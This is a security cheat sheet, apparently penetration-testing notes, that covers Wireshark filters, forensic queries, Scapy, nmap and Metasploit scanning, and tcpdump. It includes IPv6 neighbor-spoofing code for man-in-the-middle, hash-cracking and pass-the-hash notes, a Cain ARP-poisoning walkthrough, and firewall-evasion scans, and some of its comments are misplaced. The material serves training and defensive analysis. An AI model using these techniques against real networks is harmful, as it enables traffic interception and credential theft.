eth.dst	eth.src	arp.dst.proto_ipv4	arp.proto.type
eth.lg	eth.trailer	arp.hw.size	arp.src.hw_mac
eth.ig	eth.multicast	arp.hw.type	arp.src.proto_ipv4
IEEE 802.1Q		TCP	
vlan.cfi	vlan.id	tcp.ack	tcp.options.qs
vlan.priority	vlan.etype	tcp.checksum	tcp.options.sack
vlan.len	vlan.trailer	tcp.checksum_bad	tcp.options.sack_len
IPv4		tcp.checksum_good	tcp.options.sack_perm
ip.addr	ip.fragment.overlap_conflict	tcp.continuation_to	tcp.options.sack_reset
ip.checksum	ip.fragment.toolongfragment	tcp.dstport	tcp.options.time_stamp
ip.checksum_bad	ip.fragments	tcp.flags	tcp.options.wscale
ip.checksum_good	ip.hdr_len	tcp.flags.ack	tcp.options.wscale_val
ip.dsfield	ip.host	tcp.flags.cwr	tcp.pdu.last_frame
ip.dsfield.ce	ip.id	tcp.flags.ecn	tcp.pdu.size
ip.dsfield.dscp	ip.len	tcp.flags.fin	tcp.pdu.time
ip.dsfield.ect	ip.proto	tcp.flags.push	tcp.port
ip.dst	ip.reassembled_in	tcp.flags.reset	tcp.reassembled_in
ip.dst_host	ip.src	tcp.flags.syn	tcp.segment
ip.flags	ip.src_host	tcp.flags.urg	tcp.segment_error
ip.flags.df	ip.tos	tcp.hdr_len	tcp.segment.multipletails
ip.flags.mf	ip.tos.cost	tcp.len	tcp.segment.overlap
ip.flags.rb	ip.tos.delay	tcp.nextseq	tcp.segment.overlap
ip.frag_offset	ip.tos.precedence	tcp.options	tcp.segment.overlap_conflict
ip.fragment	ip.tos.reliability	tcp.options.cc	tcp.segment.toolongfragment
ip.fragment.error	ip.tos.throughput	tcp.options.ccecho	tcp.segments
ip.fragment.multipletails	ip.ttl	tcp.options.ccnew	tcp.seq
ip.fragment.overlap	ip.version	tcp.options.echo	tcp.srcport
IPv6		tcp.options.echo_reply	tcp.time_delta
ipv6.addr	ipv6.hop_opt	tcp.options.md5	tcp.time_relative
ipv6.class	ipv6.host	tcp.options.mss	tcp.urgent_pointer
ipv6.dst	ipv6.mipv6_home_address	tcp.options.mss_val	tcp.window_size
ipv6.dst_host	ipv6.mipv_length	UDP	
ipv6.dst_opt	ipv6.nxt	udp.checksum	udp.dstport
ipv6.flow	ipv6.opt.pad1	udp.checksum_bad	udp.length
ipv6.fragment	ipv6.opt.padn	udp.checksum_good	udp.port
ipv6.fragment.error	ipv6.plen	Operators	
ipv6.fragment.more	ipv6.reassembled_in	Logic	
ipv6.fragment.multipletails	ipv6.routing_hdr	eq or ==	and or &&
ipv6.fragment.offset	ipv6.routing_hdr.addr	ne or !=	or or
ipv6.fragment.overlap	ipv6.routing_hdr.left	gt or >	xor or ^^
ipv6.fragment.id	ipv6.src_host	lt or <	not or !
ipv6.hlim	ipv6.version	ge or >=	[n] [...]
		le or <=	
Frame Relay		ICMPv6	
fr.becn	fr.de	icmpv6.all_comp	icmpv6.option.name

			type.fqdn
fr.chdlctype	fr.dlci	icmpv6.checksum	icmpv6.option.name_x501
fr.control	fr.dlcore_control	icmpv6.checksum_bad	icmpv6.option.rsa.key hash
fr.control.f	fr.ea	icmpv6.code	icmpv6.option.type
fr.control.ftype	fr.fecsn	icmpv6.comp	icmpv6.ra.cur_hop_limit
fr.control.n_r	fr.lower_dlci	icmpv6.haad.ha_addrs	icmpv6.ra.reachable_time
fr.control.n_s	fr.nlpid	icmpv6.identifier	icmpv6.ra.retrans_timer
fr.control.p	fr.second_dlci	icmpv6.option	icmpv6.ra.router_lifetime
fr.control.s_ftype	fr.snap.oui	icmpv6.option.cga	icmpv6.recursive_dns serv
fr.control.u_modifiercmd	fr.snap.pid	icmpv6.option.length	icmpv6.type
fr.control.u_modifierresp	fr.snapttype	icmpv6.option.name_type	
fr.cr	fr.third_dlci	RIP	
fr.dc	fr.upper_dlci	rip.auth.passwd	rip.netmask
PPP		rip.auth.type	rip.next_hop
ppp.address	ppp.direction	rip.command	rip.route tag
ppp.control	ppp.protocol	rip.family	rip.routing domain
MPLS		rip.ip	rip.version
mpls.bottom	mpls.oam.defect_location	rip.metric	
mpls.cw.control	mpls.oam.frequency	BGP	
mpls.cw.res	mpls.oam.function_type	bgp.aggregator_as	bgp.mp_reach_nlri_ipv4_prefix
mpls.label	mpls.oam.ttsi	bgp.aggregator_origin	bgp.mp_unreach_nlri_ipv4_prefix
mpls.oam.bip16	mpls.ttl	bgp.as_path	bgp.multi_exit_disc
ICMP		bgp.cluster_identifier	bgp.next_hop
icmp.checksum	icmp.mtu	bgp.cluster list	bgp.nlri_prefix
icmp.checksum_bad	icmp.mtu	bgp.community_as	bgp.origin
icmp.code	icmp.redir gw	bgp.community value	bgp.origin id
icmp.ident	icmp.seq	bgp.local_pref	bgp.type
	icmp.type	bgp.mp_nlri_tnl_id	bgp.withdrawn_prefix
DTP		HTTP	
dtp.neighbor	dtp.version	http.accept	http.proxy_authorization
dtp.tlv_len	dtp.neighbor	http.accept_encoding	http.proxy_connect_host
dtp.tlv_type		http.accept_language	http.proxy_connect_port
VTP		http.authbasaic	<b>http.referer</b>
vtp.code	vtp.vlan_info.802_10_index	http.authorization	http.request
vtp.conf_rev_num	vtp.vlan_info.isl_vlan_id	http.cache_control	http.request.method
vtp.followers	vtp.vlan_info.len	http.connection	http.request.uri
vtp.md	vtp.vlan_info.mtu_size	http.content_encoding	http.request.version
vtp.md5_digest	vtp.vlan_info.status.vlan susp	http.content_length	http.response
vtp.md_len	vtp.vlan_info.tlv_len	http.content_type	http.response.code
vtp.seq_num	vtp.vlan_info.tlv_type	http.cookie	http.server
vtp.start_value	vtp.vlan_info.vlan_name	http.date	http.set_cookie
vtp.upd_id	vtp.vlan_info.vlan_name len	http.host	http.transfer_encoding



vtp.udp_ts	vtp.vlan_info.vlan type	http.last_modified	<b>http.user_agent</b>
vtp.version		http.location	http.www_authentic ate
		http.notification	http.x_forwarded_fo r
		http.proxy_authentic ate	

\*from packetlife.net

### Common Investigation Queries (See TCPDump Essentials for translation to tcpdump)

Control+F: tcp and frame contains "xxxx"

Typically start with File / Export Objects / HTTP

Web Attack Analysis (successful): http.response.code == 200

http.request and ip.addr eq x.x.x.x

#### Starting Point

Statistics / Protocol Hierarchy :get a feel for what type of traffic you're working with  
 Statistics / End Points :get a feel for the devices involved  
 Statistics / Conversations :look at large conversations, and duration  
 Statistics / HTTP / Requests :can be used to narrow down if malware was downloaded

#### Pcap Analysis Tools:

VirusTotal: <https://www.virustotal.com>

Packettotal: <https://packettotal.com/>

ThreatGrid cannot handle pcaps ☹

#### Computer Information:

Mac Address (xref NAC logs): 00:59:07:b0:63:a4 - Found on any packet with the ip, directly on Ethernet

Host Name: use "nbns" to filter netbios traffic. The <00> requests can be hostnames or domains, but the <20> shows the hostname

\*Alternatively we could have search wireshark with bootp or dhcp (dhcp for WireShark 3.0), click a DHCP Request - In this case a DHCP Inform. Expand DHCP, Option 12 Host Name

\*if you don't have either of those you could filter "smb" to show SMC traffic then look for Host Announcement which shows the name

#### Windows User Account Name:

Filter WireShark on kerberos.CNameString

Select an AS-Req packet, go to Kerberos / as-req / req-body / cname / cname-string, right click the line with CNameString:computer-pc\$ and apply as column. Then you should see computer and usernames. CNameString values for hostnames always end with a \$, while user account names do not. To filter on user account names:

kerberos.CNameString and !(kerberos.CNameString contains \$)

#### Device Model & OS From HTTP Traffic:

http.request and !(ssdp) / Follow TCP Stream

\*alternatiely frame contains GET

Under User agent string it commonly identifies OS & Browser but can be spoofed (Windows NT 5.1: Windows XP, Windows NT 6.0: Windows Vista, Windows NT 6.1: Windows 7, Windows NT 6.2: Windows 8, Windows NT 6.3: Windows 8.1, Windows NT 10.0: Windows 10). Note for mobile devices you can find the model or OS type from the user agent string)

#### Find Recon Activity:

##### Ping Sweep

icmp.type==8 or icmp.type==0

##### TCP Ping Sweep

tcp.dstport==7

##### UDP Ping Sweep

udp.dstport==7

##### TCP Connect Scans

ip.proto == 6 and tcp.flags == 18

##### TCP SYN Scan

ip.proto == 6 and tcp.flags == 2

##### TCP ACK Scan

ip.proto == 6 and tcp.flags == 16

##### TCP FIN Scan

ip.proto == 6 and tcp.flags == 1

##### TCP XMAS Scan

ip.proto == 6 and tcp.flags == 41

##### TCP NULL Scan

ip.proto == 6 and tcp.flags == 0

##### UDP Scan

ip.proto == 17 and ip.len == 28

#### Find ARP Poisoning (using Conventional ARP Reply)

arp.duplicate-address-detected

#### Find ARP Poisoning Using Gratuitous ARP

arp.isgratuitous

#### Look at HTTP(S) Traffic for a single device

(http.request or ssl.handshake.type ==1) and !(udp.port==1900) and ip.addr eq <ip>

\*Note any traffic over non-standard ports, if needed right click / Decode As  
Alternatively look at Statistics / HTTP / Requests

#### IOCs

First look for ips and ports from alerts, look for downloaded files

possibly try (http.request or ssl.handshake.type == 1) and !(udp.port == 1900) and ip.addr eq <ip>

\*Note after you find downloaded files, then follow stream. Add one to the syntax "tcp.stream eq #" and walk through the streams after to look for beacon traffic

(http.request or ssl.handshake.type == 1) and !(udp.port == 1900) and ip.addr eq <ip> :look for ips not in alerts

#### DNS Requests

dns.resp.name

#### Downloaded files

File / Export Objects / (HTTP or appropriate)

Statistics / HTTP / Requests

http get requests from alerted ips, and files downloaded – ip.addr eq x.x.x.x and http.request

ip contains "This program" then Follow TCP Stream (especially look for files with different extension)

#### SMB Files

smb and smb.cmd == 0xa2

\*in middle of wireshark pane expand SMB, expand SMB Header, expand NT Create Andx Response. If file exists the time and date stamps, size and filename will be shown

smb.cmd == 0x2e or smb.cmd == 0x2f :show only SMB reads (0x2e) + writes (0x2f)

\*use to identify all attempted xfers and if likely successful

#### Show FTP command timeline:

ftp.request.command eq USER or ftp.request.command eq PASS or ftp.request.command eq STOR

-shows the server 000webhost.com using different ips - common

#### Show FTP files being sent:

ftp-data :then follow stream, save as "Raw", save conv.

\*Note try to follow the last one

ftp.request.command == "RETR" || ftp.request.command == "STOR" :look for a quick list of files

#### Pulling a sha-256 for infected files:

Powershell: Get-FileHash .\<file> -Algorithm SHA256

Linux info: file malware.exe

Linux: shasum -a 256 malware.exe

### Sniffing Packets

To sniff using Berkley Packet Filters:

```
>>> packets = sniff(filter="host
1.1.1.1")
Sniffing using counts:
>>> packets = sniff(count=100)
Reading packets from a pcap:
>>> packets = rdpcap("filename.pcap")
Writing packets to a pcap:
>>> wrpcap("filename.pcap", packets)
```

### Scapy Basics

Launch: `sudo scapy` \*requires root privs to sniff or send packets  
Additionally Scapy can be imported either interactively or in a script with:  
from scapy.all import \*

To list supported layers:

```
>>> ls()
Some key layers are:
arp, ip, ipv6, tcp, udp, icmp
To view layer fields use ls(layer):
>>> ls(IPv6)
>>> ls(TCP)
```

To list available commands:

```
>>> lsc()
Some key commands for interacting with packets:
rdpcap, send, sr, sniff, wrpcap
Getting help with commands use help(command):
>>> help(rdpcap)
```

### Scapy Basic Packet Crafting/Viewing

Scapy works with layers. Layers are individual functions linked together with the "/" character to construct packets. To build a basic TCP/IP packet with "data" as the payload:

```
>>> packet = IP(dst="1.2.3.4")/
TCP(dport=22)/"data"
```

Note: Scapy allows the user to craft all the way down to the ether() layer, but will use default values if layers are omitted. To correctly pass traffic layers should be ordered lowest to highest from left to right e.g. (ether -> IP -> TCP).

To get a packet summary:

```
>>> packet.summary()
```

To get more packet details:

```
>>> packet.show()
```

### Scapy Ethernet Layer Fields / Default Values

```
>>> ls(Ether)
Field Type Default Value
dst : DestMACField = (None)
src : SourceMACField = (None)
type : XShortEnumField = (0)
```

### Scapy IPv4 Layer Fields / Default Values

```
>>> ls(IP)
Field Type Default Value
version : BitField = (4)
ihl : BitField = (None)
tos : XByteField = (0)
len : ShortField = (None)
id : ShortField = (1)
```

```

flags : FlagsField = (0)
frag : BitField = (0)
ttl : ByteField = (64)
proto : ByteEnumField = (0)
chksum : XShortField = (None)
src : Emph = (None)
dst : Emph = ('127.0.0.1')
options : PacketListField = ([])

```

---

### Scapy TCP Layer Fields / Default Values

```

>>> ls(TCP)
Field Type Default Value
sport : ShortEnumField = (20)
dport : ShortEnumField = (80)
seq : IntField = (0)
ack : IntField = (0)
dataofs : BitField = (None)
reserved : BitField = (0)
flags : FlagsField = (2)
window : ShortField = (8192)
chksum : XShortField = (None)
urgptr : ShortField = (0)
options : TCPOptionsField = ({}))

```

---

### Scapy Altering Packets

Packet layer fields are Python variables and can be modified.

Example packet:

```

>>> packet = IP(dst="10.10.10.50")/
TCP(sport=80)
Viewing a field's value like the source port:
>>> packet.sport
80

```

Setting the source port:

```

>>> packet.sport = 443
>>> packet.sport
443

```

Setting port ranges:

```

>>> packet[TCP].dport = (1,1024)

```

Setting a list of ports:

```

>>> packet[TCP].dport = [22, 80, 445]

```

Setting the TCP flags (control bits):

```

>>> packet[TCP].flags="SA"
>>> packet[TCP].flags
18 (decimal value of CEUAPRSF bits)
>>> packet.strftime("%TCP.flags%")
'SA'

```

Note! For ambiguous fields, like "flags", you must specify the target layer (TCP).

Setting destination IP address(es):

```

>>> packet[IP].dst = "1.2.3.4"
>>> packet[IP].dst = "sans.org"

```

Using CIDR:

```

>>> packet[IP].dst = "1.2.3.4/16"

```

Multiple Destinations:

```

>>> packet[IP].dst = ["1.2.3.4",
"2.3.4.5", "5.6.7.8"]

```

---

### OS Default TTLs

Unix TTL: 64

Windows TTL: 128

Cisco (old) TTL: 255

---

### Sending Packets

Creating and sending a packet:

```

>>> packet =
IP(dst="4.5.6.7",src="1.2.3.4")/
TCP(dport=80, flags="S")

```

Send a packet, or list of packets without custom ether

```

layer:
>>> send(packet)
Other send functions:
sr() sends and receives without a custom ether()
layer
sendp() sends with a custom ether() layer
srp() sends and receives at with a custom ether()
layer
srl() sends packets without custom ether() layer
and waits for first answer
srp() sends packets with custom ether() layer and
waits for first answer
Send function options:
filter = <Berkley Packet Filter>
retry = <retry count for unanswered packets>
timeout = <number of seconds to wait before giving
up>
iface = <interface to send and receive>
>>> packets = sr(packet, retry=5,
timeout=1.5, iface="eth0", filter="host
1.2.3.4 and port 80")

```

### Receiving and Analyzing Packets

---

```

Received packets can be stored in a variable when
using a send/receive function such as sr(), srp(), srl()
srp():
>>> packet = IP(dst="10.10.10.20")/
TCP(dport=0,1024)
>>> unans, ans = sr(packet)
Received 1086 packets, got 1024 answers,
remaining 0 packets
"ans" will store the answered packets:
>>> ans
<Results: TCP:1024 UDP:0 ICMP:0 Other:0>
To see a summary of the responses:
>>> ans.summary()
IP / TCP 10.1.1.15:ftp_data >
10.10.10.20:netbios_ssn S ==> IP / TCP
10.10.10.20:netbios_ssn > 10.1.1.15:ftp_data
SA / Padding
Note: this is the output from port 139 (netbios_ssn).
Notice how this port was open and responded with a
SYN-ACK.
To view a specific answer as a stream in array form:
>>> ans[15]
To view the first packet in the stream:
>>> ans[15][0] (this will be packet the Scapy
sent)
<IP frag=0 proto=tcp dst=10.10.10.20 |<TCP
dport=netstat flags=S |>>
To view the response from the distant end:
>>> ans[15][1]
<IP version=4L ihl=5L tos=0x0 len=40 id=16355
flags=DF frag=0L ttl=128 proto=tcp
chksum=0x368c src=10.10.10.20 dst=10.1.1.15
options=[] |<TCP sport=netstat dport=ftp_data
seq=0 ack=1 dataofs=5L reserved=0L flags=RA
window=0 chksum=0x2b4c urgptr=0 |<Padding
load='\x00\x00\x00\x00\x00\x00' |>>>
To view the TCP flags in the response packet:
>>> ans[15][1].sprintf("%TCP.flags%")
'RA'

```

### Spoofing IPv6 Neighbor Advertisements Using Scapy (for MitM)

---

```

>>> ether=Ether(dst="33:33:00:00:00:01")
>>> ipv6=IPv6(dst="ff02::1")
>>> na=ICMPv6ND_NA(tgt="2a03:2149:8008:2901::5", R=0, S=0, O=1)
>>> lla=ICMPv6NDOptDstLLAddr(lladdr="00:24:54:ba:a1:97")
>>> packet=ether/ipv6/na/lla
>>> sendp(packet, loop=1, inter=3)

```



---

## Password Cracking:john

---

### Tools Listed under Password Cracking

---

john, cain

### John, Cain

---

site: [url] :search only one url  
site:Microsoft.com -site:www.microsoft.com :ex showing subdomains

### Hash Identification

---

john 127.0.0.1.pwdump  
Hash-identifier

### Crack LM Hashes

---

john --format=lm hash.txt  
hashcat -m 3000 -a 3 hash.txt

### Crack NTLM Hashes (aka NTHash)

---

Obtained by dumping SAM database or using Mimikatz  
You CAN use pass the hash  
john --format=nt hash.txt  
hashcat -m 1000 -a 3 hash.txt

### Crack NTLMv1 Hashes (aka Net-NTLMv1)

---

Obtained by dumping SAM database, Mimikatz, or [Responder](#) or [Inveigh](#)  
You CANNOT use pass the hash  
john --format=netntlm hash.txt  
hashcat -m 5500 -a 3 hash.txt

### Crack NTLMv2 Hashes (aka Net-NTLMv2)

---

Obtained by dumping SAM database, Mimikatz, or [Responder](#) or [Inveigh](#)  
You CANNOT use pass the hash  
john --format=netntlmv2 hash.txt  
hashcat -m 5600 -a 3 hash.txt

### Hash Cracking (Windows)

---

john --rules --wordlist=/usr/share/wordlists/~.txt 127.0.0.1.pwdump  
\* permutation rules stored in john.conf; copy rules from single mode into wordlist mode  
hashcat :multithreaded cracking tool  
oclhashcat :GPU cracking w/ATI/NVIDIA -30x faster

### Hash Cracking (Linux)

---

unshadow <pass\_file.txt> <shadow-file.txt> :first combine  
unshadow <pass\_file.txt> <shadow-file.txt> > unshadowed.txt  
john --rules --wordlist=/usr/share/wordlists/~.txt unshadowed.txt --rules -stdout  
\* permutation rules stored in john.conf; copy rules from single mode into wordlist mode  
\*Remember to delete john.pot

### John the Ripper: SSE2 Capable

---

cp -r /opt/john-1.8.0 /tmp/john-sse2 :copy john to tmp folder  
\* permutation rules stored in john.conf; copy rules from single mode into wordlist mode  
cd src  
make clean linux-x86-sse2 :assuming we are 32 bit  
cd /tmp/john-sse2/run/ :cd into dir we made sse2 john  
./john --test :test showing much faster than normal  
./john /tmp/hashfile.txt :start running SSE2 john  
./john --wordlist=test.dict --rules -stdout  
./john --show /tmp/hashfile.txt :show current cracked passwords  
cat john.pot :show all cracked passwords

**John Jumbo Version**

<http://www.jedge.com/wordpress/2009/11/john-the-ripper-w-jumbo-patch/>

Additional support for John; example needed to crack user.MYD (mysql) file



### Tools Listed under Password Cracking

john, cain

### MitM Sniffing with Cain and Able

[From scotthelme.co.uk](http://www.scotthelme.co.uk)

*Perform MitM*

Open Cain, first step is to identify clients on the network

Click Sniffertab, then click start sniffer button

Passive – wait; active – right click in empty list and hit scan MAC addresses

Decide who target, Select the APR tab at the bottom, click anywhere in the empty space indicated and the blue plus icon at the top of the screen will be activated. This allows you to add clients to the attack, click that.

On the left side select your target, and all on the right that appear, ok

Hit Start APR button (hard icon)

Half-routing means working on it, Full-routing means unrestricted access

*Hijack Existing Sessions*

Start Wireshark and capture on interface, filter ip.src==<target>

### Cain: Dictionary Attack

Dictionary attack uses a predetermined list of words from a dictionary to generate possible passwords that may match the MD5 encrypted password. This is one of the easiest and quickest way to obtain any given password.

1. Start Cain & Abel (Start > Programs > Cain > Cain).
2. Choose 'Yes' to proceed when a 'User Account Control' notification pops up regarding software authorization.
3. Once on, select the 'Cracker' tab with the key symbol, then click on MD5 Hashes on the left hand side.
4. As you might have noticed we don't have any passwords to crack, thus for the next few steps we will create our own MD5 encrypted passwords. First, locate the Hash Calculator among a row of icons near the top. Open it.
5. Next, type into 'Text to Hash' the word password. It will generate a list of hashes pertaining to different types of hash algorithms. We will be focusing on MD5 hash so copy it. Then exit calculator by clicking 'Cancel' (Fun Fact: Hashes are case sensitive so any slight changes to the text will change the hashes generated, try changing a letter or two and you will see. This is called the avalanche effect).
6. After you exit, right click and select 'Add to list', paste your hash then click OK. Your first encrypted password! But don't stop there, add the following MD5 hashes from the words PaSS, 13579,15473, sunshine89,and c@t69
7. With all the encrypted MD5 passwords on hand, we can finally start! Move your cursor and select all six passwords,then right click and press 'Dictionary Attack'.
8. Once the window opens, go up to the dictionary and select 'Wordlist.txt', right click and select 'Reset initial file position'.You'll know you've resetted when there's nothing under the position column. Note: Make sure to do this every time you want to restart a dictionary attack!
9. Click 'start' and watch the magic happens before your eyes! Once it ends 'exit'. Your result should be the same as below.

### Cain: Rainbow Tables

Rainbow tables use pre-calculated MD5 hashes sorted on a table(s) to compare to encrypted MD5 files in order to find a match thus cracking the password. This type of password cracking trades time and storage capacity.

1. Continuation from the previous 'Dictionary Attack' section. Cain & Abel should already be opened with following MD5 encrypted passwords.
2. Now with the other half of the passwords still encrypted, we will be using rainbow table attacking to see if we can finally crack them. Selectall six passwords, right click, and select 'Cryptanalysis Attack via RainbowTables'.
3. A window will pop up and you could see under 'Sorted Rainbow Tables'there is already a MD5 rainbow table already added. Notice the specifications for that specific

rainbow table. Click 'Start' when ready. 'Exit' when done.

### **Cain: Brute Force**

---

Brute force attacks uses a finite but enormous number of combinations involving alphabet, numbers, and symbols in order to crack a password. This type of password cracking is usually used as a last resort as it's the most time consuming overall.

1. Continuation from the previous 'Rainbow Tables' section. Cain & Abel should already be opened with the following MD5 encrypted passwords.
2. Now with only two more passwords still encrypted, we will be using brute force attack to see if we can finally crack them. Select all six passwords, right click, and select 'Brute-Force Attack'.
3. Once a window appears we will have to adjust some settings to fit our requirements. Under Charset and Predefined selected, open the drop down bar and select the one below the initially selected one. Next, under Password length turn Max down to 5.
4. When ready click 'Start'. Once it's done calculating 'Exit'
5. If all else fails, Brute-Force attack is the only option left. Open the 'Brute-Force Attack' window
6. Under Charset with Predefined selected, select the drop down bar and choose the one with just the lowercase and UPPERCASE key. Turn down the max under password length to
7. Press Start

---

## Enumeration

---

### Sniff While Scanning (Can be helpful)

tcpdump -nn host <ip>	:sniff a particular ip
nmap -n -sT <ip>	:shows 3 way handshake in tcpdump

### Passive Fingerprinting

```
p0f -i eth0 -p -o /tmp/p0f.log  
flop
```

### Nmap Probe/Sweeps (quicker, less results)

nmap -PB <ip>	:ICMP ER, SYN-443,ACK-80;ICMP TSR
nmap -sP <ip>	:ICMP ping sweep (many fws block)
nmap -PS[portlist] <ip>	:TCP ACK ping;i.e. -PS80
nmap -sn <ip>	:ping sweep
nmap -PA <ip>	:TCP Syn ping
nmap -PP <ip>	:ICMP timestamp request (type 13)
nmap -PM <ip>	:ICMP address mask request (type 17)
nmap -PR <ip>	:ARP discovery-only works on same subnet

### Nmap Scans

Nmap -Pn	:turns off ping before scan-use often
nmap -sT -A -P0 <target_ip>	:detailed info
nmap -F <ip>	:Fast scan - top 100 ports
nmap -p 80 <ip>	:scan single port
nmap -sA <ip>	:TCP ACK Scan
nmap -sF <ip>	:FIN Scan (set FIN bit of all packets)
nmap -sS <ip>	:stealth scan (half open, not stealthy)
nmap -sT <ip>	:TCP Connect Scan
nmap -sU -p 53,111,414,500-501<ip>	:UDP Scan (specified ports)
nmap -sW <ip>	:TCP Windows scan
nmap <ip> --script=<all,category,dir,script>	:Nmap Scripting Engine
nmap <ip> --script smb-os-discovery.nse	:nmap NSE example
grep safe /opt/nmap-6.4.7/share/nmap/scripts/script.db	:search for safe NSE scripts
nmap <ip> --iflist	:show host interfaces & routes
nmap <ip> --reason	:shows you why it gave you what it did
<spacebar>	:estimate progress during scan

### Nmap OS Fingerprinting (most bandwidth intensive scan)

nmap -O <ip>	:OS scan
nmap -A <ip>	:detect OS & services
nmap -sV <ip>	:standard service detection

### Nmap Fuzzing Scans

nmap -sM <ip>	:TCP Maimon scan (set FIN & ACK bits)
nmap -sX	:Xmas Tree Scan (FIN, PSH, URG bits)
nmap -sN	:null scan (set all control bits to 0)
nmap -s0 <ip>	:Scan IP protocols(TCP,ICMP,IGMP,etc.)

### Nmap Output Options

nmap -oA outputfile	:save grep, xml, and normal format
nmap -oX outputfile.xml <ip>	:save xml file
nmap -oG outputfile.txt <ip>	:save grep format file

---

### Nmap Firewall Scans

```
nmap --badsum      :RESET from good and bad checksum means firewall
nmap -sN <ip>      :TCP Null scan to fool fw to generate response(TCP flag header 0)
nmap -sF <ip>      :TCP Fin scan to check firewall (TCP FIN bit)
nmap -sX <ip>      :Xmas Scan (FIN, PSH, URG flags)
nmap -f <ip>       :-f causes scan (including ping) to use fragmented packets
nmap -n -D src_ip,src_ip2 dest_ip      :-D makes it look like decoys are scanning also
nmap --spoof-mac 0 <ip>:0 chooses a random MAC to spoof
```

---

### TCP Idle Scan (scan stealthily by spoofing ip address of another host on network)

```
msfconsole          :start metasploit
use auxiliary/scanner/ip/ipidseq      :look for idle computers
show options        :show parameters
set RHOSTS <ip>; set THREADS 10      :set parameters
run
*We get a list of potential idle hosts to use as our target; pick one
nmap -PN -sI <idle_ip> <target_ips>  :launch TCP Idle Scan
```

---

### MetaSploit Port Scans

```
msfconsole          :start MetaSploit
search portscan     :search for portscans
use auxiliary/scanner/portscan/syn   :select a particular portscan
```

---

### SQL Scan

```
*Saves a ton of time because UDP 1434 is what you query to discover dynamic SQL ports
(i.e. if they changed it from the non-standard TCP 1433)
msfconsole          :open metasploit
use auxiliary/scanner/mssql/mssql_ping :scanner for SQL
show options        :show parameters
set RHOSTS <ip>; set THREADS 10      :set parameters
run                 :run
```

---

### SSH Scan

```
*FTP often easily exploitable
msfconsole          :open metasploit
use auxiliary/scanner/ssh/ssh_version :scanner for SSH version
show options        :show parameters
set RHOSTS <ip>; set THREADS 10      :set parameters
run                 :run
OR
nmap -n -script=ssshv1.nse <ip> -p 22 :check for SSHv1 (weak)
```

---

### FTP Scan

```
*older SSH versions have easily exploitable vulnerabilities
msfconsole          :open metasploit
use auxiliary/scanner/ftp/ftp_version :scanner for FTP version
show options        :show parameters
set RHOSTS <ip>; set THREADS 10      :set parameters
run                 :run
```

---

### SNMP Sweep

```
*SNMPv1 and v2 very flawed, v3 much more secure
msfconsole          :open metasploit
use auxiliary/scanner/snmp/snmp_login :scanner for SNMP version
show options        :show parameters
set RHOSTS <ip>; set THREADS 10      :set parameters
run                 :run
```

---

### RDP (Windows) - Loud

---

rdesktop -u guest <target\_ip> :guest often authenticates

### Netcat Port Scans

---

nc -v -n -z -w1 <ip> 20-80 :netcat port scan  
echo ""|nc -v -n -w1 <ip> <port-range> :port scanner which harvests banners

### Windows Command Line Ping Sweep

---

For /L %i in (1,1,255) do @ping -n 1 10.0.0.%i | find "TTL" :TTL shows successful

### Powershell Scans

---

1.255 | % {ping -n 1 -w 100 10.10.10.\$\_ | select-string ttl}:Ping sweep  
1..1024 | % {echo ((new-object Net.Sockets.TcpClient) .Connect("10.0.0.1",\$\_)) "Port \$\_  
is open" } 2>\$null :Port Scan

### Fast Scan Tools (for big blocks of ips)

---

ScanRand :one program sends SYN's; one receives  
Zmap :scans all of IPPv4 for one port  
MassScan :utilizes threading

### Response Meanings

---

RST + ACK (TCP) :likely port closed or firewall blocking  
ICMP Port Unreachable (TCP) :most likely blocked by firewall  
ICMP Port Unreachable (UDP) :most likely port is closed  
No response (TCP) :most likely nothing listening on system  
No response (UDP) :could be port closed,firewall,ignored?

---

## Enumeration: Nmap / MetaSploit Integration

---

### Zenmap Info

Zenmap is the frontend for Nmap. You can save the output to an .xml file, but to parse it into a useable .csv use [Jason Fossen's PowerShell script parse-nmap.ps1](#). It's in the appendix as well. You feed parameters to parse the data, for instance the following filters open ports 80, closed ports 443, and saves off the data to a .csv.

```
.\parse-nmap.ps1 .\HTTP_Scan_Results.xml -outputdelimiter " " | where {$_.Ports -match "open:tcp:80"} | where {$_.Ports -match "closed:tcp:443"} | Export-CSV FinalResults.csv
```

### Nmap & MetaSploit

```
msfconsole                                     :start metasploit
dbstatus                                       :verify metasploit is connected to db**
db_nmap -Pn -sS -A <ip>                       :populate db with scan
db_nmap -O <ip>                               :populate db with OS Scan
db_import /tmp/file.xml                       :import nmap scan file
db_import /tmp/file.nessus                   :import nessus vulnerability scan
exit                                           :

**in case db_status issues:
msfdb start
db_status
msfdb init
db_status
db_connect -y /usr/share/metasploit-framework/config/database.yml
db_status
search smb                                     :if using slow search:
update-rc.d postgresql enable
db_status
db_rebuild_cache
```

### MetaSploit Database Querying

```
hosts                                           :show discovered hosts
hosts -add <ip>                                :manually add host
hosts -S linux                                :show linux hosts
services                                       :show discovered services
services -add -p 80 <ip>                     :manually add services for hosts
vulns                                          :show vulnerabilities discovered
vulns -S RPC                                  :show RPC vulnerable hosts
vulns -p 445                                  :show vulnerable smb hosts
```

### MSFMap Meterpreter Module (Scan from Compromised Host)

```
exploit                                         :exploit meterpreter shell
load msfmap                                    :load module into meterpreter
msfmap -sP                                     :ping sweep
msfmap -sT                                     :TCP Connect scan
msfmap --top-ports                             :same as nmap
```

---

## Sniffing (While you scan)

---

### WireShark

At the startup, click the capture interface you want to monitor. You can add a capture filter such as host <ip> and tcp port 4444 to filter out unwanted traffic. In Kali click Capture / Interfaces, then click options and you can set a filter. In Windows it's right there on the main page.

### Sniff While Scanning (Can be helpful)

tcpdump -nn host <ip>	:sniff a particular ip
nmap -n -sT <ip>	:shows 3 way handshake in tcpdump

### tcpdump (Linux)

tcpdump -n	:use #s instead of names for machines
tcpdump -i [int]	:sniff interface (-D lists ints)
tcpdump -v	:verbose (IP ID, TTL, IP options, etc)
tcpdump -w	:Dump packets to file (-r to read)
tcpdump -x	:print hex
tcpdump -X	:print hex & ASCII
tcpdump -A	:print ASCII
tcpdump -s [snaplength]	:older vs: -s 0 to capture whole packet
tcpdump <ether,ip,ip6,arp,rarp,tcp,udp>	:capture certain protocol traffic
tcpdump host <host>	:only give packets from that host
tcpdump net <network>	:
tcpdump port <port>	:
tcpdump portrange <range>	:
port src	:only from that host or port
port dst	:only from that destination

### tcpdump Examples

tcpdump -nnX tcp and dst <ip>	:view tcp packets with ASCII & hex
tcpdump -nn tcp and port 445 and host <ip>	:view TCP p445 going to or from <ip>
tcpdump -nv -s0 port 445 -w /tmp/winauth.pcap	:-s0 means full packets, -w dumps 2 file

### Sniff Authentication Sessions

#### Pcap Strings Search

